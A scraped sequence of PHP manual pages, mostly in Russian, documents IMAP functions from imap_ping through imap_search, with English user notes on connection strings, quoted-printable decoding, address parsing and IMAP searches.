imap_open will not open a stream if your server operates with Transport Layer Security (i.e. TLS) imap_open connects with SSL if its there. So try opening mailbox as

$mailbox="{mail.domain.com:143/imap/notls}";
or
$mailbox="{mail.domain.com:110/pop3/notls}"; This works...

Some mail server requires you to provide username@domain.com so you can always use. user@doamin.com

$conn=imap_open($mailbox, $username, $password);

Some server may ask for username as "user=user@domain.com"

:)
avizion at relay dot dk 12-May-2005 03:30
For FreeBSD users...

If you want to have SSL support, you want to install the ports:

mail/php5-imap
security/php5-openssl

Cheers :)

 - avizion
m dot stoel at cyberkinetic dot nl 27-Apr-2005 10:50
a little tip for those who get really frustrated even after reading all the right solutions and implementing them but still get the same errors or none at all..:
after having changed the code.. restart the httpd deamon..

for Fedora or any other Red Hat Linux OS (/etc/init.d/httpd restart).

After this you will be able to make a imap/pop3 stream from apache..
gasaunde at vcu dot edu 13-Dec-2004 11:35
I've found that on my servers I _must_ use imap_errors() and imap_alerts() after an imap_open or this error is thrown in the logs when the mailbox is empty: [error] PHP Warning: (null)(); Mailbox is empty (errflg=1) in Unknown on line 0
liamr at umich dot edu 29-Jun-2004 04:40
To authenticate using kerberos V / GSSAPI, you might need to add "user=" to the connection string.. eg:

$mbox = imap_open( "\{imap.example.com:143/imap/notls/user=" . $user . "}INBOX", $user, $passwd );

Our IMAP servers won't allow a user other than the user specified in the kerberos credentials connect using those credentials unless you specify that extra "user=" in the connection string.  Passing it as an argument to imap_open() doesn't seem to be enough.
rvarkelen AT hortimax.nl 14-Jan-2004 03:03
In order to make a IMAP connection to a Microsoft Exchange Server 5.5, I used this connection-string :

<?php
if(imap_open ("{192.168.1.6:143/imap}Inbox", "DOMAIN/USERNAME/ALIAS", "PASSWORD"))
{
    echo 'Connection success!';
}
else
{
    echo 'Connection failed';
}
?>

By replacing "Inbox" with, e.g. "Tasks", its possible to see all your tasks. I Hope this helps anybody!

Regards
marshall /AT\ pacdemon.org 03-Nov-2003 11:50
Thanks for all your comments.  The user comments have saved me countless times.

I'd like to give back in my small way by providing this little tip.  To test your pop or imap services you can use telnet (almost all operating systems should come with a command line telnet client).

Here's the pop3 example (the lines that start with + are the server's response):

    telnet your.pop.host.com 110
    +OK POP3 your.pop.host.com v2001.78 server ready
    user your_username
    +OK User name accepted, password please
    pass your_password
    +OK Mailbox open, 23 messages

Note that your pop server may be on some other port than 110 but that is the default/standard.

Here's the imap example (Lines that have OK near the begining are server responses):

    telnet your.imap.host.com 143
    * OK [CAPABILITY IMAP4REV1...]
    1 LOGIN "your_username" "your_password"
    1 OK [CAPABILITY...] ... User your_username authenticated

This might be old news to some people but I hope it's helpful for many.
kaper at nexgc dot com 08-Apr-2003 09:17
I had been having lots of trouble trying to get imap_open to connect to an imap server.  Then I found another post online that suggested this and it worked, so I am going to post it here.  I hope this helps others..

"I have tried with the following strings instead and it works:

for pop3: {www.server.com:110/pop3/notls}INBOX

and for imap: {www.server.com:143/notls}INBOX.
frederik at roal dot no 17-Apr-2002 09:02
For all imap functions where you specify the mailbox string it is important that you ALWAYS use IP (not hostname) and the portnumber. If you do not do this imap functions will be painfully slow.
Using hostname instead of IP adds 3 seconds to each IMAP call, not using portnumber adds 10 seconds to each imap call. (hint: use gethostbyname() )
brojann at netscape dot com 30-Oct-2001 02:01
You can do

<? $foo = imap_errors(); ?>

to clear unwanted warning messages like 'Mailbox is empty'
bandpay at hotmail dot com 04-Dec-2000 12:59
I have a single comment to add about imap_open.
If you want to connect to a news server, without specifying any news gruop, you can use the following:

<?php
$server = "{news.servername.com/nntp:119}";
$nntp = imap_open($server,"","",OP_HALFOPEN);
?>

and $nntp will become the connection ID.

Regards
//Babak


Проверить, активен ли ещё поток IMAP

  • « imap_open
  • imap_qprint »
  • PHP Manual
  • Функции IMAP
  • Проверить, активен ли ещё поток IMAP

imap_ping

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_ping — Проверить, активен ли ещё поток IMAP

Описание

imap_ping(IMAP\Connection $imap): bool

imap_ping() проверяет, активен ли ещё открытый поток. С помощью него можно узнавать, есть ли новая почта. Это предпочтительный метод проверять есть ли новые сообщения и аналог "keep alive" для серверов с настроенным временем ожидания неактивности.

Список параметров

imap

Экземпляр IMAP\Connection.

Возвращаемые значения

Возвращает true, если поток активен и false, если нет.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_ping()

<?php

$imap = imap_open("{imap.example.org}", "mailadmin", "password");

// после некоторого ожидания
if (!imap_ping($imap)) {
// производим переподключение
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Преобразовать строку из формата "quoted-printable" в 8-битную строку

  • « imap_ping
  • imap_rename »
  • PHP Manual
  • Функции IMAP
  • Преобразовать строку из формата "quoted-printable" в 8-битную строку

imap_qprint

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_qprint — Преобразовать строку из формата "quoted-printable" в 8-битную строку

Описание

imap_qprint(string $string): string|false

Преобразует строку из формата "quoted-printable" в 8-битную строку в соответствии с » RFC2045, секция 6.7.

Список параметров

string

Строка в формате "quoted-printable"

Возвращаемые значения

Возвращает 8-битную строку или false в случае возникновения ошибки.

Смотрите также

  • imap_8bit() - Конвертирует 8-битную строку в строку в формате quoted-printable

User Contributed Notes

wese at gmx dot at 11-Nov-2008 06:52
I just got rid of the loops using a regex.

<?php
function decode_qprint($str) {
    $str = preg_replace("/\=([A-F][A-F0-9])/","%$1",$str);
    $str = urldecode($str);
    $str = utf8_encode($str);
    return $str;
}
?>

Thanks for sharing!
tonitester at gmx dot net 27-Mar-2007 06:35
If you don't have access to the imap_qprint function and you have to encode URL Decoded and Quoted Printable Strings you receive by Mail try this simple function. But if you don't receive URL Decoded data and the string doesn't contain an = you better use http://www.php.net/manual/en/function.quoted-printable-decode.php

function decode_qprint($str){
$arr= array("A","B","C","D","E","F");
while (list(, $var) = each($arr)) {
    $i=0;
    while ($i <=9){
        $str=str_replace("=".$var.$i,"%".$var.$i,$str);
        $i++;}
    $arr2 = array("A","B","C","D","E","F");
    while (list(, $val) = each($arr2)) {
        $str=str_replace("=".$var.$val,"%".$var.$val,$str);}}
$str = urldecode($str);
$str = utf8_encode($str);
return $str;}

$s2d='=F6=D6=DF=C4=E4=DC=FC=A9=AE';
$2s2d='%F6';

$output = decode_qprint($s2d);
$output2 = decode_qprint($2s2d);

echo $output;
echo $output2;
bletous at yahoo dot fr 27-Aug-2005 05:55
Some mails are encoded in bad quoted printable format:
I use this function to decode the qprint:

for($i=0;$i<256;$i++)
    {
    $c1=dechex($i);
    if(strlen($c1)==1){$c1="0".$c1;}
    $c1="=".$c1;
    $myqprinta[]=$c1;
    $myqprintb[]=chr($i);
    }

function decode($data,$code)
{
if(!$code){return imap_utf7_decode($data);}
if($code==0){return imap_utf7_decode($data);}
if($code==1){return imap_utf8($data);}
if($code==2){return ($data);}
if($code==3){return imap_base64($data);}
if($code==4){return imap_qprint(str_replace($myqprinta,$myqprintb,($data)));}
if($code==5){return ($data);}

}
bernard at bmpsystems dot com 26-Feb-2000 12:35
This function seems to have a bug, when the quoted-printable string contains a "=" without the HEX code of a Character.
I use the regular quoted_printable_decode instead.


Псевдоним imap_renamemailbox

  • « imap_qprint
  • imap_renamemailbox »
  • PHP Manual
  • Функции IMAP
  • Псевдоним imap_renamemailbox

imap_rename

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rename — Псевдоним imap_renamemailbox()

Описание

Функция является псевдонимом: imap_renamemailbox().

User Contributed Notes

There are no user contributed notes for this page.


Переименовать почтовый ящик

  • « imap_rename
  • imap_reopen »
  • PHP Manual
  • Функции IMAP
  • Переименовать почтовый ящик

imap_renamemailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_renamemailbox — Переименовать почтовый ящик

Описание

imap_renamemailbox(IMAP\Connection $imap, string $from, string $to): bool

Эта функция переименовывает old_mbox в new_mbox (формат имени mbox смотрите в описании imap_open()).

Список параметров

imap

Экземпляр IMAP\Connection.

from

Старое имя. Более подробно читайте в описании imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

to

Новое имя. Более подробно читайте в описании imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_createmailbox() - Создать новый почтовый ящик
  • imap_deletemailbox() - Удалить почтовый ящик

User Contributed Notes

Christoffer Lindahl 12-Oct-2010 10:27
Don't forget that you can't be connected to the mailbox that you are going to rename (or delete).

If you have the following mailboxes:
INBOX
INBOX.Foo

...and want to rename "INBOX.Foo" to "INBOX.Bar" you have to be connected to "INBOX":

<?php
$mbox = imap_open('{imap.example.com}INBOX', 'username', 'password');
imap_renamemailbox($mbox, '{imap.example.com}INBOX.Foo', '{imap.example.com}INBOX.Bar');
imap_close($mbox);
?>
josh at paducahwebpublishing dot com 03-Mar-2000 12:13
Don't let "...string old_mbox, string new_mbox);" fool you. You have to add the server and port to the mailbox name also. So it would be something like:

imap_renamemailbox($mailbox, "{localhost:143}$oldfolder", "{localhost:143}$newfolder")

Just thought I would point it out, it took me a while to figure it out.


Переоткрывает поток IMAP к новому ящику

  • « imap_renamemailbox
  • imap_rfc822_parse_adrlist »
  • PHP Manual
  • Функции IMAP
  • Переоткрывает поток IMAP к новому ящику

imap_reopen

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_reopen — Переоткрывает поток IMAP к новому ящику

Описание

imap_reopen(
IMAP\Connection $imap,
string $mailbox,
int $flags = 0,
int $retries = 0
): bool

Переоткрывает указанный поток к ящику mailbox на сервере IMAP или NNTP.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

Имя почтового ящика. Более подробно читайте в разделе про функцию imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

flags

flags - битовая маска из одной или нескольких констант:

  • OP_READONLY - открыть почтовый ящик только для чтения
  • OP_ANONYMOUS - не использовать и не обновлять .newsrc для новостей (только NNTP)
  • OP_HALFOPEN - открыть соединение, но не подключаться к почтовому ящику для имён IMAP и NNTP.
  • OP_EXPUNGE - молча выполнить удаление помеченных для удаления сообщений в потоке
  • CL_EXPUNGE - автоматически удалять все помеченные для удаления сообщения при закрытии почтового ящика (смотрите imap_delete() и imap_expunge())

retries

Максимально количество попыток соединения

Возвращаемые значения

Возвращает true, если поток переоткрыт и false, если нет.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_reopen()

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password") or die(implode(", ", imap_errors()));
// ...
imap_reopen($mbox, "{imap.example.org:143}INBOX.Sent") or die(implode(", ", imap_errors()));
// ..
?>

User Contributed Notes

There are no user contributed notes for this page.


Разбор адресной строки

  • « imap_reopen
  • imap_rfc822_parse_headers »
  • PHP Manual
  • Функции IMAP
  • Разбор адресной строки

imap_rfc822_parse_adrlist

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_parse_adrlist — Разбор адресной строки

Описание

imap_rfc822_parse_adrlist(string $string, string $default_hostname): array

Разбирает адресную строку в соответствии с » RFC2822 для каждого адреса.

Список параметров

string

Строка с адресами

default_hostname

Имя хоста по умолчанию

Возвращаемые значения

Возвращает массив объектов со следующими свойствами:

  • mailbox - имя ящика (пользователя)
  • host - имя хоста
  • personal - персональное имя
  • adl - "at-domain-list". Не используется.

Примеры

Пример #1 Пример использования imap_rfc822_parse_adrlist()

<?php

$address_string = "Joe Doe <doe@example.com>, postmaster@example.com, root";
$address_array = imap_rfc822_parse_adrlist($address_string, "example.com");
if (!is_array($address_array) || count($address_array) < 1) {
die("something is wrong\n");
}

foreach ($address_array as $id => $val) {
echo "# $id\n";
echo " mailbox : " . $val->mailbox . "\n";
echo " host : " . $val->host . "\n";
echo " personal: " . $val->personal . "\n";
echo " adl : " . $val->adl . "\n";
}
?>

Результат выполнения данного примера:

# 0
  mailbox : doe
  host    : example.com
  personal: Joe Doe
  adl     :
# 1
  mailbox : postmaster
  host    : example.com
  personal:
  adl     :
# 2
  mailbox : root
  host    : example.com
  personal:
  adl     :

Смотрите также

  • imap_rfc822_parse_headers() - Разбор строки заголовка письма

User Contributed Notes

Ian Eiloart 17-Oct-2005 06:50
This function does NOT test the syntax of either the local part, or the host part, it will permit illegal characters on either side.

Note that 'host' refers to the email domain, not actually to any host.

The at domain list is an obsolete addressing method which was available for routing email. RFC2822 says that it must be accepted, but should be ignored in routing.

Note that if an address doesn't contain a personal part, or an "at domain list", that part of the array will be missing.

Although RFC2822 permits consecutive comma separators in a list of email addresses, this function does not. That's probably a bug.

In the following list of examples, #4 uses an "at domain list",  #5 and after are illegal domains, but only the last actually generates an error.

$adds = 'ian eiloart <iane@example.ac.uk>,
        shuf6@example.ac.uk,
        blobby,
        "ian,eiloart"<ian@example.ac.uk>,
        <@example.com:foo@example.ac.uk>,
        foo@#,
        ian@-example.com,
        ian@one@two';
$add_arr = imap_rfc822_parse_adrlist($adds, 'example.com');
var_export ($add_arr);

array (
  0 =>
  class stdClass {
    var $mailbox = 'iane';
    var $host = 'example.ac.uk';
    var $personal = 'ian eiloart';
  },
  1 =>
  class stdClass {
    var $mailbox = 'shuf6';
    var $host = 'example.ac.uk';
  },
  2 =>
  class stdClass {
    var $mailbox = 'blobby';
    var $host = 'example.ac.uk';
  },
  3 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'example.ac.uk';
    var $personal = 'ian,eiloart';
  },
  4 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = 'example.ac.uk';
    var $adl = '@example.com';
  },
  5 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = '#';
  },
  6 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = '-example.com';
  },
  7 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'one';
  },
  8 =>
  class stdClass {
    var $mailbox = 'UNEXPECTED_DATA_AFTER_ADDRESS';
    var $host = '.SYNTAX-ERROR.';
  },
)
Rainer Perske 04-Jan-2005 08:20
Invalid addresses, if detected, set host to '.SYNTAX-ERROR.'; but not all invalid addresses get detected as such, e.g. <.@host.do.main> is considered
valid though a single dot is not a valid local part without using quotation marks.


Разбор строки заголовка письма

  • « imap_rfc822_parse_adrlist
  • imap_rfc822_write_address »
  • PHP Manual
  • Функции IMAP
  • Разбор строки заголовка письма

imap_rfc822_parse_headers

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_parse_headers — Разбор строки заголовка письма

Описание

imap_rfc822_parse_headers(string $headers, string $default_hostname = "UNKNOWN"): stdClass

Извлекает объект различных элементов заголовка, аналогично imap_header().

Список параметров

headers

Данные для разбора

default_hostname

Имя хоста по умолчанию

Возвращаемые значения

Возвращает объект, аналогичный возвращаемым функцией imap_header(), за исключением флагов и прочих свойств, получаемых с сервера IMAP.

Смотрите также

  • imap_rfc822_parse_adrlist() - Разбор адресной строки

User Contributed Notes

Marco Arment 23-Jul-2010 09:10
This function will cause a PHP Fatal Error if the text you're passing to it overflows a 16 KB buffer internally (SENDBUFLEN in the source).

I haven't looked into it in depth yet, but limiting the input text to less than 16,384 characters still produced this in one error case on our servers, but reducing the boundary to 12,000 fixed it.

Most real-world mail headers are well under 4 KB.
phrank 21-Mar-2009 02:10
This function is marked as internal function by the c-client library and should not be used by php directly.

Please be aware that the result will always contain fields that have not been set in the message. For example reply_to and sender will always be set even if there is no Reply-To and Sender header fields are defined in the message.
Oliver 15-Apr-2006 05:50
To see the content of the returned object try this code:

   $stream = imap_open($server, $username, $password);
   $header = imap_fetchheader($stream, $uid, FT_UID);
   $obj = imap_rfc822_parse_headers( $header);
   print "<html><head></head><body><pre>\n";
   print_r($obj);
   print "</pre></body></html>";
   imap_close($stream);
Kevin Casper <casperke at gmail dot com> 01-Feb-2005 10:23
I was lightly probing this function's behavoir.

It handles rfc882 fields:

date
subject
message_id
to
from
reply-to
sender         - will generate using 'from' field if not in
                     header
references
in-reply-to
cc

doesn't handle rfc882 fields:
return-path
received
resent-         I think this field may be obsolete
keywords

If there are other rfc822 fields or behavoirs for the function, then I can't speak of them as they weren't in my test.
As it is relevent to what I'm currently doing I may add more about this function from time to time.
jh at junetz dot de 14-Sep-2004 08:22
But what you /will/ get is a complete To field, i.e. unfolded as specified for long header fields in RFC 822. So if you want to replace imap_headerinfo() by this function, you can run it on imap_fetchheader().
Sven dot Dickert at planb dot de 21-May-2002 04:28
The object you get from imap_rfc822_parse_headers differs from the object you get from imap_headerinfo/imap_header in the following points. You won't get the:
* flags
* msgno
* size
* Maildate
* udate
* fetchfrom
* fetchsubject

udate can be simulated with
$headerobj=imap_rfc822_parse_headers ($header);
$udate=strtotime($headerobj->date);


Получить корректно сформированный e-mail адрес, заданный именем ящика, хоста и персональной информацией

  • « imap_rfc822_parse_headers
  • imap_savebody »
  • PHP Manual
  • Функции IMAP
  • Получить корректно сформированный e-mail адрес, заданный именем ящика, хоста и персональной информацией

imap_rfc822_write_address

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_write_address — Получить корректно сформированный e-mail адрес, заданный именем ящика, хоста и персональной информацией

Описание

imap_rfc822_write_address(string $mailbox, string $hostname, string $personal): string|false

Возвращает почтовый адрес сформированный в соответствии с » RFC2822.

Список параметров

mailbox

Имя почтового ящика. Более подробно читайте в описании imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

hostname

Часть e-mail, описывающая хост

personal

Имя владельца аккаунта

Возвращаемые значения

Возвращает строку содержащую почтовый адрес в сформированный в соответствии с » RFC2822 или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования imap_rfc822_write_address()

<?php
echo imap_rfc822_write_address("hartmut", "example.com", "Hartmut Holzgraefe");
?>

Результат выполнения данного примера:

Hartmut Holzgraefe <hartmut@example.com>

User Contributed Notes

There are no user contributed notes for this page.


Сохранить часть тела сообщения в файл

  • « imap_rfc822_write_address
  • imap_scan »
  • PHP Manual
  • Функции IMAP
  • Сохранить часть тела сообщения в файл

imap_savebody

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

imap_savebody — Сохранить часть тела сообщения в файл

Описание

imap_savebody(
IMAP\Connection $imap,
resource|string|int $file,
int $message_num,
string $section = "",
int $flags = 0
): bool

Записывает часть тела сообщения в файл.

Список параметров

imap

Экземпляр IMAP\Connection.

file

Путь к файлу в виде строки, либо открытый с помощью fopen() файловый дескриптор.

message_num

Номер сообщения

section

Номер секции сообщения. Строка целых чисел, разделённых точками, определяющая часть тела сообщения в соответствии со спецификацией IMAP4

flags

Битовая маска из одной или нескольких опций:

  • FT_UID - The message_num is a UID
  • FT_PEEK - Не устанавливать флаг \Seen, если он уже не установлен
  • FT_INTERNAL - возвращать строку во внутреннем формате, без преобразования концов строк к CRLF.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_fetchbody() - Извлечь конкретную секцию тела сообщения

User Contributed Notes

anon 12-Aug-2012 01:59
By using imap_fetchbody() you may run in trouble by using too much memory. Using imap_savebody() may prevent this.

But the content will be encoded, in other words it is useless. Adding a filter can help here.

<?php
$whandle = fopen('./incomming/tmp.tif','w');

stream_filter_append($whandle,
   'convert.base64-decode',STREAM_FILTER_WRITE);

imap_savebody ($mbox, $whandle, $i, $partcounter++);

fclose($whandle);
?>

NOTE: To find the proper filter you need to check the encoding given by the structure of the body.
janus at forty-seven dot info 20-Feb-2009 01:40
It seems that imap_savebody saves attachments with special characters above ascii 127 as quoted printable.
But if you need it in utf8, you may use the imap_qprint function after the attachment is saved:

<?php
$tFile = "/path/to/attachment";
$tFileOutput="";
$tFileHandle = fopen($tFile, "r");

//get the content of the file into a string
while(!feof($tFileHandle))
  $tFileOutput = $tFileOutput . fgets($tFileHandle, 4096);

fclose ($tFileHandle);

$tFileHandle = fopen($tFile, "w");
//write the new 8Bit string to the file
fwrite($tFileHandle, imap_qprint($tFileOutput));
fclose ($tFileHandle);
?>
technocraze at gmail dot com 20-Dec-2007 12:38
I tried to use this function. But it seems it requires php_zip.dll to be load..  i got the php errror like below.

[20-Dec-2007 13:38:17] PHP Warning:  PHP Startup: Unable to load dynamic library './php_zip.dll' - ./php_zip.dll: cannot open shared object file: No such file or directory in Unknown on line 0
[20-Dec-2007 13:38:17] PHP Fatal error:  Call to undefined function imap_savebody() in /opt/oss/share/apache2/htdocs/blogtest/wp-inst/batch/pop3_mail.php on line 153
stupergenius at gmail dot com 31-Jul-2007 06:40
This function will save ALL information from the email if the part number is left out. Pretty handy for archiving.


Псевдоним imap_listscan

  • « imap_savebody
  • imap_scanmailbox »
  • PHP Manual
  • Функции IMAP
  • Псевдоним imap_listscan

imap_scan

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_scan — Псевдоним imap_listscan()

Описание

Функция является псевдонимом: imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним imap_listscan

  • « imap_scan
  • imap_search »
  • PHP Manual
  • Функции IMAP
  • Псевдоним imap_listscan

imap_scanmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_scanmailbox — Псевдоним imap_listscan()

Описание

Функция является псевдонимом: imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.


Получить сообщения, удовлетворяющие заданным критериям

  • « imap_scanmailbox
  • imap_set_quota »
  • PHP Manual
  • Функции IMAP
  • Получить сообщения, удовлетворяющие заданным критериям

imap_search

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_search — Получить сообщения, удовлетворяющие заданным критериям

Описание

imap_search(
IMAP\Connection $imap,
string $criteria,
int $flags = SE_FREE,
string $charset = ""
): array|false

Эта функция производит поиск в текущем почтовом ящике открытом в потоке IMAP.

К примеру, чтобы найти все неотвеченные сообщения посланные от мамы (Mom), нужно будет использовать "UNANSWERED FROM mom". Поиск регистронезависимый. Приведённый список критериев извлечён из исходных кодов UW c-client и может быть неполным или не совсем точным (дополнительно смотрите » RFC1176, секция "tag SEARCH search_criteria").

Список параметров

imap

Экземпляр IMAP\Connection.

criteria

Строка, разделённая пробелами, в которой допустимо использовать следующие ключевые слова. Любые аргументы, состоящие из нескольких слов, должны быть заключены в двойные кавычки (например FROM "joey smith"). Результат будет совпадать со всеми заданными в параметре criteria критериями.

  • ALL - возвращать все сообщения, соответствующие остальным критериям
  • ANSWERED - сообщения с выставленным флагом \\ANSWERED
  • BCC "string" - сообщения в поле Bcc: которых присутствует "string"
  • BEFORE "date" - сообщения с Date: до "date"
  • BODY "string" - сообщения содержащие "string" в теле
  • CC "string" - сообщения в поле Cc: которых присутствует "string"
  • DELETED - удалённые сообщения
  • FLAGGED - сообщения с установленным флагом \\FLAGGED (иногда называют "Срочное" или "Важное")
  • FROM "string" - сообщения в поле From: которых присутствует "string"
  • KEYWORD "string" - сообщения с ключевым словом "string"
  • NEW - новые сообщения
  • OLD - старые сообщения
  • ON "date" - сообщения с Date: равным "date"
  • RECENT - означает сообщения с выставленным флагом \\RECENT
  • SEEN - прочтённые сообщения (установлен флаг \\SEEN)
  • SINCE "date" - сообщения с Date: после "date"
  • SUBJECT "string" - сообщения в поле Subject: которых присутствует "string"
  • TEXT "string" - сообщения с текстом "string"
  • TO "string" - сообщения в поле To: которых присутствует "string"
  • UNANSWERED - неотвеченные сообщения
  • UNDELETED - не удалённые сообщения
  • UNFLAGGED - сообщения без установленных флагов
  • UNKEYWORD "string" - сообщения, не имеющие ключевого слова "string"
  • UNSEEN - непрочитанные сообщения

flags

Корректные значения flags - это SE_UID, что приведёт к тому, что в возвращённом массиве вместо номеров сообщений будут содержаться их UID.

charset

Кодировка MIME, в которой будет происходить поиск.

Возвращаемые значения

Возвращает номера сообщений или их UID.

Возвращает false, если сообщения не найдены, либо критерии указанные в criteria некорректны.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_search()

<?php
$imap = imap_open('{imap.example.com:993/imap/ssl}INBOX', 'foo@example.com', 'pass123', OP_READONLY);

$some = imap_search($imap, 'SUBJECT "HOWTO be Awesome" SINCE "8 August 2008"', SE_UID);
$msgnos = imap_search($imap, 'ALL');
$uids = imap_search($imap, 'ALL', SE_UID);

print_r($some);
print_r($msgnos);
print_r($uids);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 4
    [1] => 6
    [2] => 11
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
)
Array
(
    [0] => 1
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 11
    [5] => 12
)

Смотрите также

  • imap_listscan() - Получить список почтовых ящиков, имена которых содержат заданную строку

User Contributed Notes

Steve 12-Jan-2022 12:07
It has been noted that imap_search breaks with imap4 syntax.  To do an imap 4 search use curl and send a custom command, then grab the results.  Its best to do a UID search to get the unique IDs to work with later.  Here's an example with a working curl function.

<?php
$host = 'your-server.tld';
$user = 'username';
$pass = 'password';
$folder = 'INBOX';

function send_imap_command($server, $user, $pass, $command, $folder="INBOX")
{   //Send an imap command directly to the imap server

    $result=["response"=>"", "error"=>""];
    $url = "imaps://$server/". rawurlencode($folder);
    $options=[CURLOPT_URL=>$url, CURLOPT_PORT=> 993, CURLOPT_USERNAME=> $user,
        CURLOPT_PASSWORD=> $pass, CURLOPT_RETURNTRANSFER=> true, CURLOPT_HEADER=> true,
        CURLOPT_CUSTOMREQUEST=> $command];
    $ch = curl_init();
    curl_setopt_array($ch, $options);

    $result["response"] = curl_exec($ch);
    if(curl_errno($ch)) $response["error"]="Error (". curl_errno($ch) ."): ". curl_error($ch);

    return $result;
}

//Pull out all the emails returned as undeliverable by the remote mail server in the inbox using curl
$response=send_imap_command($host, $user, $pass,
            'UID SEARCH SINCE "01-Jan-2022" (OR FROM "mailer-daemon" FROM "postmaster") (OR SUBJECT "fail" (OR SUBJECT "undeliver" SUBJECT "returned"))',
            $folder);

if($response["error"]!="")
{
    echo $response["error"]."\n";
} elseif (strlen($response["response"])>5){
    //Server returns a string in the form * SEARCH uid1 uid2 uid3 ...  Clean up and create array of UIDs.
    $response["response"]=str_replace("* SEARCH ","",$response["response"]);
    $messages=explode(" ",$response["response"]);
}

print_r($messages);
?>
Enriqe 02-Nov-2020 05:36
Please be aware about UID of the message.
It is NOT an ID that never change!

If you move your message to another folder in your IMAP account, this UID WILL CHANGE.

So if your message has UID = 100 (in INBOX folder) and you move it to some subfolder and then back to INBOX, it's new UID in INBOX will be 101.
samy.sadi.contact in gmail 10-Oct-2019 03:20
utf-8 charset isn't supported on outlook 365. So you might get a false return value here, if you pass that charset.
tgely 09-Oct-2016 02:12
If email subject is encoded than use encoding charset and option in search  to find something.

Mail Header:

Subject: =?UTF-8?Q?XYZ?=

<?php imap_search($inbox,'SUBJECT "'.$keyword.'"', SE_FREE, "UTF-8"); ?>
Paula 18-Aug-2016 09:44
This is the correct way to use the imap_search with ON "date"

$date = date("j F Y");

$emails = imap_search($inbox,'ON "'.$date.'"' );
britty dot it at hotmail dot com 11-Apr-2016 11:10
imap_search function is not fully compatible with IMAP4. the c-client used as of now supports only IMAP2 and some search criterion will not be available for use such as "OR"

So a php code similar to:
$inbox   = imap_open('{imap.example.com:993/imap/ssl}INBOX', 'foo@example.com', 'pass123', OP_READONLY);
$search_string = 'SUBJECT "FedEx" OR SUBJECT "USPS"';
$emails = imap_search($inbox, $search_string);

will throw an error saying "Unknown search criterion"

observations and reference:

PHP source trace:(ref: https://github.com/php/php-src/blob/master/ext/imap/php_imap.c)
    /ext/imap/php_imap.c -> line no : 4126
    imap_search => line no : 4148

c-client library source trace:
src/c-client/mail.c -> line no : 3973

internal.txt -> line no : 1919 => mail_criteria()
    criteria IMAP2-format search criteria string
    WARNING: This function does not accept IMAP4 search criteria.

IMAP2 RFC1064 => [ref: https://tools.ietf.org/html/rfc1064] [page: 13]
IMAP4 RFC2060 => [ref: http://www.faqs.org/rfcs/rfc2060.html] [section: 6.4.4]

Note:
The core search functionality in a core module(IMAP) is still not available in PHP. Hope this will be brought to the developer community's attention...
Anonymous 05-Sep-2014 06:45
about my previous note:

<<the second parameter about Criteria does not work well on ON criterion.
In facts if I wish to put parameters from $_get into the format Day-Month-Year (01-01-14 for example) will return Unknown criterion etc.
Probably is not the right format ?

Even with for example Thu-Jan-2014 get the same message. >>
------------------------------------------------------------------------

Now works ;)

Just to pass not a date string into criteria parameter but a timestamp returned by mktime function, where you can put your date string.

Solution for any date/time criterion is a unix timestamp.
andrea dot job at libero dot it 05-Sep-2014 02:25
the second parameter about Criteria does not work well on ON criterion.
In facts if I wish to put parameters from $_get into the format Day-Month-Year (01-01-14 for example) will return Unknown criterion etc.
Probably is not the right format ?

Even with for example Thu-Jan-2014 get the same message.
anonymous at anonymous dot ru 02-May-2014 05:38
the function "imap_search" not work for some mails , maybe that because header syntax or some bug .

thanks a lot
mail at nikha dot org 14-Feb-2014 10:18
Hi,
be aware, that imap_search() does NOT (as you may exspect) return an empty array, if nothing was found!
As the manual says, it returns FALSE.

Do not test the result like "count($array)" as I did.
This gives you 1 for an empty result. Took me an hour to found out why :-(  RTFM
trimoreau dot yonn at gmail dot com 04-Jun-2013 07:53
